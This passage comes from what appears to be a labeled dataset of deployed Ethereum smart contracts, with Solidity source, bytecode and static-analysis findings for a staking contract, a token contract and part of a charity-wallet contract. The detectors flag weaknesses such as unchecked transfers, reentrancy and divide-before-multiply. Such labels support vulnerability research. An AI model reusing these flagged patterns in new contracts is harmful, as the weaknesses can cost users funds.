dripBalance(address _user) public view returns (uint256) { Provider memory user = provider[_user]; return SafeMath.add(user.dripBalance, _unDebitedDrips(user)); } // Fetch all active stakes for a given user function stakesOf(address _user) public view returns (uint256[3][] memory) { uint256 userStakeCount = stakes[_user].length; uint256[3][] memory data = new uint256[3][](userStakeCount); for (uint256 i = 0; i < userStakeCount; i++) { Stake memory stake = stakes[_user][i]; data[i][0] = stake.amount; data[i][1] = stake.unlockDate; data[i][2] = stake.stakeBonus; } return (data); } } contract TOKEN { function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806375829def116100a2578063ad7a672f11610071578063ad7a672f14610320578063e086e5ec14610328578063e0c39a2814610330578063f4f3b20014610372578063fbaf094a146103985761010b565b806375829def146102af5780638553631e146102d557806396afc450146102fb57806397dc4a13146103035761010b565b806344c7d6ef116100de57806344c7d6ef1461021b578063524826a314610238578063584b62a1146102405780637476083b146102925761010b565b8063098e43b71461011057806330fc43ed1461012f57806333b69c4c1461014c5780634026b309146101e3575b600080fd5b61012d6004803603602081101561012657600080fd5b50356103ea565b005b61012d6004803603602081101561014557600080fd5b5035610484565b6101726004803603602081101561016257600080fd5b50356001600160a01b0316610689565b60405180806020018281038252838181518152602001915080516000925b818410156101d257602080850284010151606080838360005b838110156101c15781810151838201526020016101a9565b505050509050019260010192610190565b925050509250505060405180910390f35b610209600480360360208110156101f957600080fd5b50356001600160a01b0316610803565b60408051918252519081900360200190f35b61012d6004803603602081101561023157600080fd5b5035610876565b61012d610bf5565b61026c6004803603604081101561025657600080fd5b506001600160a01b038135169060200135610cf4565b6040805193845263ffffffff909216602084015260ff1682820152519081900360600190f35b61012d600480360360208110156102a857600080fd5b5035610d3e565b61012d600480360360208110156102c557600080fd5b50356001600160a01b0316610ec3565b61012d600480360360408110156102eb57600080fd5b508035906020013560ff16610f3a565b6102096110fd565b61012d6004803603602081101561031957600080fd5b5035611103565b61020961120c565b61012d611212565b6103506004803603602081101561034657600080fd5b503560ff166112a1565b6040805163ffffffff909316835260ff90911660208301528051918290030190f35b61012d6004803603602081101561038857600080fd5b50356001600160a01b03166112c5565b6103be600480360360208110156103ae57600080fd5b50356001600160a01b03166114ad565b6040805194855260208501939093528383019190915263ffffffff166060830152519081900360800190f35b6001546001600160a01b0316331461043f576040805162461bcd60e51b815260206004820152601360248201527220b236b4b71037b7363c90333ab731ba34b7b760691b604482015290519081900360640190fd5b80600354146104815760038190556040805182815290517f4599b999878c4bf50471224bfb3eba260226641b501577af32f4ff1e2a3d70499181900360200190a15b50565b336000908152600460205260408120600181015481549192916104a791906114da565b9050808311156104e85760405162461bcd60e51b815260040180806020018281038252602a815260200180611644602a913960400191505060405180910390fd5b6104f0610bf5565b60006105076105008560316114f1565b6032611516565b60008054604080516370a0823160e01b8152306004820152905193945091926001600160a01b03909116916370a08231916024808301926020929190829003018186803b15801561055757600080fd5b505afa15801561056b573d6000803e3d6000fd5b505050506040513d602081101561058157600080fd5b50519050600061059c61059483856114f1565b600254611516565b90506105ac8560010154876114da565b60018601556002546105be90876114da565b600255600080546040805163a9059cbb60e01b81523360048201526024810185905290516001600160a01b039092169263a9059cbb926044808401936020939083900390910190829087803b15801561061657600080fd5b505af115801561062a573d6000803e3d6000fd5b505050506040513d602081101561064057600080fd5b50506040805133815260208101889052428183015290517ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b5689181900360600190a1505050505050565b6001600160a01b03811660009081526005602090815260409182902054825181815281830281019092019092526060919082908280156106e357816020015b6106d0611575565b8152602001906001900390816106c85790505b50905060005b828110156107fb576106f9611593565b6001600160a01b038616600090815260056020526040902080548390811061071d57fe5b600091825260209182902060408051606081018252600293909302909101805480845260019091015463ffffffff811694840194909452600160201b90930460ff1690820152845190925084908490811061077457fe5b602002602001015160006003811061078857fe5b602002018181525050806020015163ffffffff168383815181106107a857fe5b60200260200101516001600381106107bc57fe5b602002018181525050806040015160ff168383815181106107d957fe5b60200260200101516002600381106107ed57fe5b6020020152506001016106e9565b509392505050565b600061080d6115b3565b506001600160a01b03821660009081526004602090815260409182902082516080810184528154815260018201549281019290925260028101549282018390526003015463ffffffff1660608201529061086f9061086a83611529565b611568565b9392505050565b336000908152600560205260409020548082106108d1576040805162461bcd60e51b815260206004820152601460248201527314dd185ad948191bd95cc81b9bdd08195e1a5cdd60621b604482015290519081900360640190fd5b6108d9611593565b3360009081526005602052604090208054849081106108f457fe5b600091825260209182902060408051606081018252600293909302909101805480845260019091015463ffffffff811694840194909452600160201b90930460ff16908201529150610984576040805162461bcd60e51b8152602060048201526014602482015273125b9d985b1a59081cdd185ad948185b5bdd5b9d60621b604482015290519081900360640190fd5b6001821115610a3f57336000908152600560205260409020805460001984019081106109ac57fe5b906000526020600020906002020160056000336001600160a01b03166001600160a01b0316815260200190815260200160002084815481106109ea57fe5b6000918252602090912082546002909202019081556001918201805492909101805463ffffffff191663ffffffff90931692909217808355905460ff600160201b91829004160264ff00000000199091161790555b33600090815260056020526040902080546000198401908110610a5e57fe5b600091825260208083206002909202909101828155600101805464ffffffffff191690553382526005905260409020805490610a9e9060001983016115e1565b50336000908152600460209081526040909120908201514263ffffffff90911611610b5e576000610ae4610add8460000151856040015160ff166114f1565b6064611516565b9050610af260025482611568565b60025581548351610b0391906114da565b82556001820154610b149082611568565b60018301556040805133815260208101839052428183015290517f1d05fb93430b544706475771cbd0417b69c2a2cea278394db1a8a2e1d6c345c29181900360600190a150610bef565b6000610b79610b72600385600001516114f1565b6014611516565b9050610b898260010154826114da565b6001830155600254610b9b90826114da565b60025581548351610bac91906114da565b82556040805133815260208101839052428183015290517fad8803b43cfd65a2f1649f89540039d2690d2ca508a13451ef7940b17ca090349181900360600190a1505b50505050565b33600081815260046020526040812091610c0e90610803565b60006002840181905560038401805463ffffffff19164263ffffffff1617905580546040805163a9059cbb60e01b81523360048201526024810185905290519394506001600160a01b039091169263a9059cbb92604480840193602093929083900390910190829087803b158015610c8557600080fd5b505af1158015610c99573d6000803e3d6000fd5b505050506040513d6020811015610caf57600080fd5b50506040805133815260208101839052428183015290517f4a5130f8ee85eb62923b258424778f5364b439fcb57ac6751d77f02c01971d4a9181900360600190a15050565b60056020528160005260406000208181548110610d0d57fe5b60009182526020909120600290910201805460019091015490925063ffffffff81169150600160201b900460ff1683565b60008054604080516323b872dd60e01b81523360048201523060248201526044810185905290516001600160a01b03909216926323b872dd926064808401936020939083900390910190829087803b158015610d9957600080fd5b505af1158015610dad573d6000803e3d6000fd5b505050506040513d6020811015610dc357600080fd5b50511515600114610e055760405162461bcd60e51b815260040180806020018281038252602e81526020018061166e602e913960400191505060405180910390fd5b336000908152600460205260409020600181015415610e2d57610e2733610803565b60028201555b6000610e4383610e3e856032611516565b6114da565b9050610e53826001015482611568565b600183015560038201805463ffffffff19164263ffffffff16179055600254610e7c9082611568565b6002556040805133815260208101859052428183015290517f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a159181900360600190a1505050565b6001546001600160a01b03163314610f18576040805162461bcd60e51b815260206004820152601360248201527220b236b4b71037b7363c90333ab731ba34b7b760691b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60028160ff161115610f8c576040805162461bcd60e51b815260206004820152601660248201527524b73b30b634b21039ba30b5b4b7339037b83a34b7b760511b604482015290519081900360640190fd5b33600090815260046020526040812060018101548154919291610faf91906114da565b905080841115610ff05760405162461bcd60e51b815260040180806020018281038252602681526020018061169c6026913960400191505060405180910390fd5b60ff80841660009081526006602052604090205483544263ffffffff83160192600160201b909204909116906110269087611568565b84553360008181526005602090815260408083208151606080820184528c825263ffffffff808a1683870190815260ff808b16858801908152865460018181018955978b529989902095516002909a02909501988955905197909401805493518516600160201b0264ff00000000199890921663ffffffff19909416939093179690961695909517905581519485529184018a9052908816838201524291830191909152517f8346ebdae6c1300ef8385b0ab17c9cca2f81da61f81d594bdfe6b3af180a02ec9181900360800190a1505050505050565b60035481565b60008054604080516323b872dd60e01b81523360048201523060248201526044810185905290516001600160a01b03909216926323b872dd926064808401936020939083900390910190829087803b15801561115e57600080fd5b505af1158015611172573d6000803e3d6000fd5b505050506040513d602081101561118857600080fd5b505115156001146111ca5760405162461bcd60e51b815260040180806020018281038252602e81526020018061166e602e913960400191505060405180910390fd5b6040805133815260208101839052428183015290517fada993ad066837289fe186cd37227aa338d27519a8a1547472ecb9831486d2729181900360600190a150565b60025481565b6001546001600160a01b03163314611267576040805162461bcd60e51b815260206004820152601360248201527220b236b4b71037b7363c90333ab731ba34b7b760691b604482015290519081900360640190fd5b6001546040516001600160a01b0390911690303180156108fc02916000818181858888f19350505050158015610481573d6000803e3d6000fd5b60066020526000908152604090205463ffffffff811690600160201b900460ff1682565b6001546001600160a01b0316331461131a576040805162461bcd60e51b815260206004820152601360248201527220b236b4b71037b7363c90333ab731ba34b7b760691b604482015290519081900360640190fd5b6001600160a01b038116611367576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015290519081900360640190fd5b6000546001600160a01b03828116911614156113b45760405162461bcd60e51b81526004018080602001828103825260218152602001806116c26021913960400191505060405180910390fd5b604080516370a0823160e01b815230600482015290516000916001600160a01b038416916370a0823191602480820192602092909190829003018186803b1580156113fe57600080fd5b505afa158015611412573d6000803e3d6000fd5b505050506040513d602081101561142857600080fd5b50516001546040805163a9059cbb60e01b81526001600160a01b0392831660048201526024810184905290519293509084169163a9059cbb916044808201926020929091908290030181600087803b15801561148357600080fd5b505af1158015611497573d6000803e3d6000fd5b505050506040513d6020811015610bef57600080fd5b60046020526000908152604090208054600182015460028301546003909301549192909163ffffffff1684565b6000828211156114e657fe5b508082035b92915050565b600082611500575060006114eb565b508181028183828161150e57fe5b04146114eb57fe5b600081838161152157fe5b049392505050565b60006114eb61155a61155061154842866060015163ffffffff166114da565b6003546114f1565b84602001516114f1565b670de0b6b3a7640000611516565b818101828110156114eb57fe5b60405180606001604052806003906020820280388339509192915050565b604080516060810182526000808252602082018190529181019190915290565b6040518060800160405280600081526020016000815260200160008152602001600063ffffffff1681525090565b81548183558181111561160d5760020281600202836000526020600020918201910161160d9190611612565b505050565b61164091905b8082111561163c576000815560018101805464ffffffffff19169055600201611618565b5090565b9056fe416d6f756e742077697468647261776e206578636565647320617661696c61626c652062616c616e63657472616e7366657246726f6d20646964206e6f7420737563636565642e2041726520776520617070726f7665643f5374616b6520616d6f756e74206578636565647320617661696c61626c652062616c616e636543616e6e6f7420776974686472617720746865207374616b696e6720746f6b656ea265627a7a72315820830d3dba8ff8e02dc8b17f9be1d9c85faf9f264fbcaed34b667bac4280ef023464736f6c634300050d0032
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
7,371
0x63cb5b75688017aa0e4d79b3ba9f7a4f75b6bd20
pragma solidity 0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balances[_from] >= _value); // Check for overflows require(balances[_to] + _value > balances[_to]); // Save this for an assertion in the future uint previousBalances = balances[_from] + balances[_to]; // Subtract from the sender balances[_from] = balances[_from].sub(_value); // Add the same to the recipient balances[_to] = balances[_to].add(_value); Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balances[_from] + balances[_to] == previousBalances); } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { _transfer(msg.sender, _to, _value); return true; /** require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; **/ } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract GraspSmartBlockchainLock is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. string public symbol; //An identifier: eg SBX uint256 public sellPrice; uint256 public buyPrice; address public owner; function GraspSmartBlockchainLock() public { decimals = 8; // Amount of decimals for display purposes totalSupply_ = 680000000 * 10 ** uint256(decimals); // Update total supply balances[0x72A4e7Ea1DDd6E33eA18b3B249E66A2201A7d7f5] = totalSupply_; // Give the creator all initial tokens name = "Grasp Smart Blockchain Lock"; // Set the name for display purposes symbol = "GSB"; // Set the symbol for display purposes owner = 0x72A4e7Ea1DDd6E33eA18b3B249E66A2201A7d7f5; Transfer(address(0x0), 0x72A4e7Ea1DDd6E33eA18b3B249E66A2201A7d7f5 , totalSupply_); } modifier onlyOwner(){ require(msg.sender == owner); _; } function changeOwner(address _newOwner) public onlyOwner{ owner = _newOwner; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function setPrices(uint256 newSellPrice, uint256 newBuyPrice) public onlyOwner{ sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = uint(msg.value) / uint(buyPrice); // calculates the amount _transfer(this, msg.sender, amount * 10 ** uint256(decimals)); // makes the transfers } function() payable public{ buy(); } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount * 10 ** uint256(decimals)); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It&#39;s important to do this last to avoid recursion attacks } function withdraw( address _address, uint amount) public onlyOwner{ require(address(this).balance > amount * 1 ether); _address.transfer(amount * 1 ether); } }
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305fefda7146100fb57806306fdde0314610132578063095ea7b3146101c257806318160ddd1461022757806323b872dd14610252578063313ce567146102d75780634b7503341461030857806370a08231146103335780638620410b1461038a5780638da5cb5b146103b557806395d89b411461040c578063a6f2ae3a1461049c578063a6f9dae1146104a6578063a9059cbb146104e9578063dd62ed3e1461054e578063e4849b32146105c5578063f3fef3a3146105f2575b6100f961063f565b005b34801561010757600080fd5b506101306004803603810190808035906020019092919080359060200190929190505050610676565b005b34801561013e57600080fd5b506101476106e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018757808201518184015260208101905061016c565b50505050905090810190601f1680156101b45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ce57600080fd5b5061020d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610782565b604051808215151515815260200191505060405180910390f35b34801561023357600080fd5b5061023c610874565b6040518082815260200191505060405180910390f35b34801561025e57600080fd5b506102bd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061087e565b604051808215151515815260200191505060405180910390f35b3480156102e357600080fd5b506102ec610c38565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031457600080fd5b5061031d610c4b565b6040518082815260200191505060405180910390f35b34801561033f57600080fd5b50610374600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c51565b6040518082815260200191505060405180910390f35b34801561039657600080fd5b5061039f610c99565b6040518082815260200191505060405180910390f35b3480156103c157600080fd5b506103ca610c9f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561041857600080fd5b50610421610cc5565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610461578082015181840152602081019050610446565b50505050905090810190601f16801561048e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104a461063f565b005b3480156104b257600080fd5b506104e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d63565b005b3480156104f557600080fd5b50610534600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e03565b604051808215151515815260200191505060405180910390f35b34801561055a57600080fd5b506105af600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e1a565b6040518082815260200191505060405180910390f35b3480156105d157600080fd5b506105f060048036038101908080359060200190929190505050610ea1565b005b3480156105fe57600080fd5b5061063d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f3b565b005b60006007543481151561064e57fe5b0490506106733033600460009054906101000a900460ff1660ff16600a0a840261101b565b50565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106d257600080fd5b81600681905550806007819055505050565b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561077a5780601f1061074f5761010080835404028352916020019161077a565b820191906000526020600020905b81548152906001019060200180831161075d57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156108bb57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561090857600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561099357600080fd5b6109e4826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113b690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a77826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cf90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b4882600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113b690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60065481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60075481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d5b5780601f10610d3057610100808354040283529160200191610d5b565b820191906000526020600020905b815481529060010190602001808311610d3e57829003601f168201915b505050505081565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dbf57600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e1033848461101b565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60065481023073ffffffffffffffffffffffffffffffffffffffff163110151515610ecb57600080fd5b610eed3330600460009054906101000a900460ff1660ff16600a0a840261101b565b3373ffffffffffffffffffffffffffffffffffffffff166108fc60065483029081150290604051600060405180830381858888f19350505050158015610f37573d6000803e3d6000fd5b5050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f9757600080fd5b670de0b6b3a764000081023073ffffffffffffffffffffffffffffffffffffffff1631111515610fc657600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166108fc670de0b6b3a764000083029081150290604051600060405180830381858888f19350505050158015611016573d6000803e3d6000fd5b505050565b6000808373ffffffffffffffffffffffffffffffffffffffff161415151561104257600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561108f57600080fd5b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561111b57600080fd5b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540190506111ed826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113b690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611280826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cf90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011415156113b057fe5b50505050565b60008282111515156113c457fe5b818303905092915050565b60008082840190508381101515156113e357fe5b80915050929150505600a165627a7a7230582082a0cac44ec27e5b3a52c9f2ffdbef830be5c611e6ca59b0127f5e2bd89cc1710029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
7,372
0xe5e84241fc673e09467f9854f7f2f33660431b10
/** *Submitted for verification at Etherscan.io on 2021-11-01 */ /* * Lobby contract to update our tokenomics. * * This contract is meant to be used as the charity wallet on * the base Lobby contract. * Since the original contract relies on transfer() to send the ETH, * we can't have this contract automatically forward the funds to wallets * as the gas fees are higher than what transfer() supports. * We are therefore introducing a public function which can be called to trigger * the sending of funds to charity and marketing. * * Visit https://lobbytoken.io for more details. */ // SPDX-License-Identifier: MIT pragma solidity 0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 